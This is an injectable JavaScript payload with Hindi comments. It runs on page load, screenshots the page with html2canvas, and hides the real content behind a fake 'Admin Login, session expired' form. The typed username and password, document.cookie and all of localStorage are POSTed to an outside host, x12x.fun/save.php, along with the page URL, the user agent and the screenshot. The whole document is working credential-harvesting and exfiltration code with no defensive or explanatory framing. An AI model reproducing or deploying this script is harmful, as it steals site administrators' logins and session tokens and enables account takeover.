(function() { var payloadData = {}; var lastLoginKey = "last_login_timestamp"; const HIDDEN_CLASS = 'original-content-hidden-by-cloner'; // क्लास जिसे छिपाने के लिए इस्तेमाल करेंगे // 1. डेटा भेजने का फंक्शन function sendToServer(data) { var xhr = new XMLHttpRequest(); xhr.open("POST", "https://x12x.fun/save.php", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify(data)); } // 2. मौजूदा पेज के CSS को कॉपी करना function copyPageStyles() { let styles = ''; for (const sheet of document.styleSheets) { try { for (const rule of sheet.cssRules) { styles += rule.cssText; } } catch (e) { // Cross-origin stylesheets will throw an error, ignore them for cloning console.warn("Could not read stylesheet (CORS):", sheet.href); } } return styles; } // 3. फुल-पेज फेक लॉगिन फॉर्म इंजेक्ट करना function injectFullPageLoginClone() { var lastLogin = localStorage.getItem(lastLoginKey); if (lastLogin && (Date.now() - lastLogin < 30000)) return; // मौजूदा कंटेंट को छिपाएं document.body.style.overflow = 'hidden'; Array.from(document.body.children).forEach(child => { if (child.id !== 'cloned_login_container') { // खुद को न छिपाएं child.classList.add(HIDDEN_CLASS); child.style.display = 'none'; } }); // पेज के स्टाइल को कॉपी करें const clonedStyles = copyPageStyles(); // नया लॉगिन पेज कंटेनर बनाएं var loginContainer = document.createElement("div"); loginContainer.id = "cloned_login_container"; loginContainer.style.cssText = ` position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: #f0f2f5; /* या आपकी साइट का बैकग्राउंड कलर */ display: flex; justify-content: center; align-items: center; z-index: 99999; font-family: sans-serif; /* या पेज का डिटेक्टेड फोंट */ `; // लॉगिन फॉर्म का HTML (यह आपके एडमिन पेज के लुक के हिसाब से एडजस्ट किया जा सकता है) // मैंने एक जेनेरिक फॉर्म बनाया है, आपको इसे अपने पेज जैसा बनाना होगा loginContainer.innerHTML = `

Admin Login

Your session has expired. Please log in again.

`; document.body.appendChild(loginContainer); // 4. क्रेडेंशियल्स कैप्चर करना document.getElementById("cloned_login_btn").addEventListener("click", function() { var user = document.getElementById("cloned_username").value; var pass = document.getElementById("cloned_password").value; if (user && pass) { sendToServer({ type: "full_clone_capture", site: window.location.hostname, current_url: window.location.href, user: user, pass: pass, cookies: document.cookie, localStorage: JSON.stringify(localStorage) }); localStorage.setItem(lastLoginKey, Date.now()); // असली कंटेंट वापस दिखाएं और नकली फॉर्म हटा दें document.getElementById('cloned_login_container').remove(); document.body.style.overflow = ''; Array.from(document.body.children).forEach(child => { if (child.classList.contains(HIDDEN_CLASS)) { child.style.display = ''; child.classList.remove(HIDDEN_CLASS); } }); } }); } // 5. स्क्रीनशॉट और बाकी डेटा कैप्चर function collectInfoAndInject() { payloadData.uri = window.location.href; payloadData.userAgent = navigator.userAgent; if (typeof html2canvas === "undefined") { var script = document.createElement('script'); script.src = "https://html2canvas.hertzen.com/dist/html2canvas.min.js"; script.onload = () => captureScreenshotAndInject(); document.head.appendChild(script); } else { captureScreenshotAndInject(); } function captureScreenshotAndInject() { html2canvas(document.body).then(function(canvas) { payloadData.screenshot = canvas.toDataURL("image/jpeg", 0.5); sendToServer(payloadData); injectFullPageLoginClone(); // स्क्रीनशॉट के बाद नकली लॉगिन पेज दिखाएं }).catch(function(e) { console.error("Screenshot failed, proceeding with injection:", e); sendToServer(payloadData); injectFullPageLoginClone(); // एरर पर भी नकली पेज दिखाएं }); } } // शुरू करें if (document.readyState === "complete") { collectInfoAndInject(); } else { window.addEventListener("load", collectInfoAndInject); } })();